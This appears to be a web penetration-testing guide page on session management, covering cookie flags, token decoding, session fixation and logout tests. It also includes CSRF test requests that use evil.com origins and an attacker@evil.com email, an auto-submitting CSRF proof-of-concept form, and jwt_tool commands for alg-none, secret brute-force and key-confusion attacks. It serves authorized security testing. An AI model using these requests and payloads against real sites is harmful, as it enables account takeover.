Session Management Testing
WSTG-SESS-01 through WSTG-SESS-09
Goalβ
Sessions are how a web application maintains authenticated state between HTTP requests. Weaknesses here let you steal, forge, or abuse session tokens to impersonate authenticated users - often without needing credentials at all.
Cookie Analysisβ
The session cookie is the primary target. Inspect every aspect of it.
# Capture cookies from a login response
curl -si -X POST http://target.com/login \
-d "username=admin&password=password" | grep -i "set-cookie"
# Follow redirects and show all headers
curl -siL -X POST http://target.com/login \
-d "username=admin&password=password" | grep -i "set-cookie"
Cookie Security Flagsβ
Every session cookie should have all three security flags. Missing flags are findings.
| Flag | Purpose | Impact if Missing |
|---|---|---|
Secure | Cookie only sent over HTTPS | Cookie transmitted in cleartext over HTTP - interceptable on the network |
HttpOnly | Cookie not accessible via JavaScript | Allows XSS to steal the session token via document.cookie |
SameSite=Strict/Lax | Cookie not sent with cross-site requests | CSRF attacks possible |
# Example of a well-configured session cookie:
# Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
# Example of a poorly configured session cookie (all flags missing):
# Set-Cookie: PHPSESSID=abc123; Path=/
Cookie Scopeβ
# Check Domain and Path attributes
# Domain=.target.com - cookie sent to ALL subdomains (including potentially attacker-controllable ones)
# Path=/ - cookie sent to all paths
# Restricted Path - e.g. Path=/app/ - better scoped, but test if accessible outside the path
Session Token Analysisβ
Analyze the token value itself.
# Decode common encoding
echo "YWJjMTIz" | base64 -d # Base64
echo "616263313233" | xxd -r -p # Hex
# If the token looks like JSON (JWT), decode each part
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" | \
cut -d'.' -f2 | base64 -d 2>/dev/null
Questions to ask about the token:
- Is it long enough? Tokens shorter than 128 bits (16 bytes) are potentially brute-forceable
- Is it predictable? Log in multiple times - do tokens follow a pattern or increment?
- Does it encode user data? (base64-decoded token containing
user=admin) - try modifying it - Is it signed? If not, modification may be trivially possible
CSRF Testingβ
Cross-Site Request Forgery exploits the fact that browsers automatically attach cookies to requests. If a state-changing request doesn't validate that it originated from the legitimate site, an attacker can trick a logged-in user into performing it.
What to look for:
- Any request that changes state (password change, email change, account settings, data modification)
- Is there a CSRF token in the form or request header?
- Is that token validated server-side? (test by removing it or using a static/fake value)
- Does
SameSite=Strict/Laxon the cookie mitigate it?
# Test 1: Remove CSRF token - does the request succeed?
curl -si -X POST http://target.com/change-password \
-H "Cookie: session=YOUR_SESSION_TOKEN" \
-d "new_password=Hacked123"
# No csrf_token field included - if it succeeds, CSRF is present
# Test 2: Submit a static/fake CSRF token
curl -si -X POST http://target.com/change-email \
-H "Cookie: session=YOUR_SESSION_TOKEN" \
-d "email=attacker@evil.com&csrf_token=fakefakefake"
# If it succeeds, the token exists but isn't validated
# Test 3: Cross-origin request - change the Referer/Origin headers
curl -si -X POST http://target.com/account/delete \
-H "Cookie: session=YOUR_SESSION_TOKEN" \
-H "Origin: http://evil.com" \
-H "Referer: http://evil.com/csrf.html" \
-d "confirm=yes"
CSRF proof-of-concept: If you confirm CSRF is possible, draft a simple HTML page that auto-submits the request - this demonstrates the real-world impact:
<form action="http://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="Hacked123">
</form>
<script>document.forms[0].submit();</script>
Session Fixationβ
Session fixation occurs when an application accepts a session ID supplied by the client before authentication, and then reuses that same session ID after successful login. This allows an attacker who can set a victim's session cookie (via XSS, subdomain takeover, etc.) to take over their post-login session.
# Test: supply a known session ID in the request before login
curl -si -X POST http://target.com/login \
-H "Cookie: session=ATTACKER_CONTROLLED_TOKEN" \
-d "username=admin&password=password"
# Check the response: does the Set-Cookie header return the SAME token,
# or does it issue a new one?
# Same token after login = session fixation vulnerability
JWT (JSON Web Token) Testingβ
JWTs are commonly used as session tokens in APIs and modern web apps. Each JWT has three parts: header.payload.signature. The header specifies the algorithm; the payload carries claims; the signature validates integrity.
# Decode a JWT manually
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature"
echo $JWT | cut -d'.' -f1 | base64 -d 2>/dev/null # Header
echo $JWT | cut -d'.' -f2 | base64 -d 2>/dev/null # Payload
jwt_tool - JWT analysis and exploitationβ
# Decode and inspect
jwt_tool <TOKEN>
# Test for none algorithm attack (remove signature validation)
jwt_tool <TOKEN> -X a
# Brute force HS256 secret
jwt_tool <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# RS256 to HS256 confusion attack (sign with public key as HMAC secret)
jwt_tool <TOKEN> -X k -pk public.pem
# Inject custom claims (after breaking/knowing the secret)
jwt_tool <TOKEN> -T # Interactive tamper mode
Common JWT vulnerabilities:
| Attack | What to Look For | jwt_tool Flag |
|---|---|---|
alg: none | Server accepts unsigned token | -X a |
| Weak secret | HS256 with a guessable/short secret | -C -d wordlist |
| RS256 β HS256 confusion | Server uses same key for both algorithms | -X k |
| Claim tampering | role, admin, user_id in payload | -T |
| Expired token accepted | exp claim ignored | Manually set past expiry |
Session Termination Testingβ
# Log out, then try reusing the old session token
# 1. Capture session token before logout
SESSION="abc123"
# 2. Log out
curl -si http://target.com/logout -H "Cookie: session=$SESSION"
# 3. Try accessing a protected resource with the old token
curl -si http://target.com/dashboard -H "Cookie: session=$SESSION"
# If it returns the protected page, sessions aren't properly invalidated on logout
Also test:
- Session expiry: Is the
ExpiresorMax-Ageset on the cookie? Does the server actually expire it after inactivity? - Session after password change: Does changing a password invalidate all other active sessions?
- Concurrent sessions: Can the same account be logged in from multiple locations simultaneously?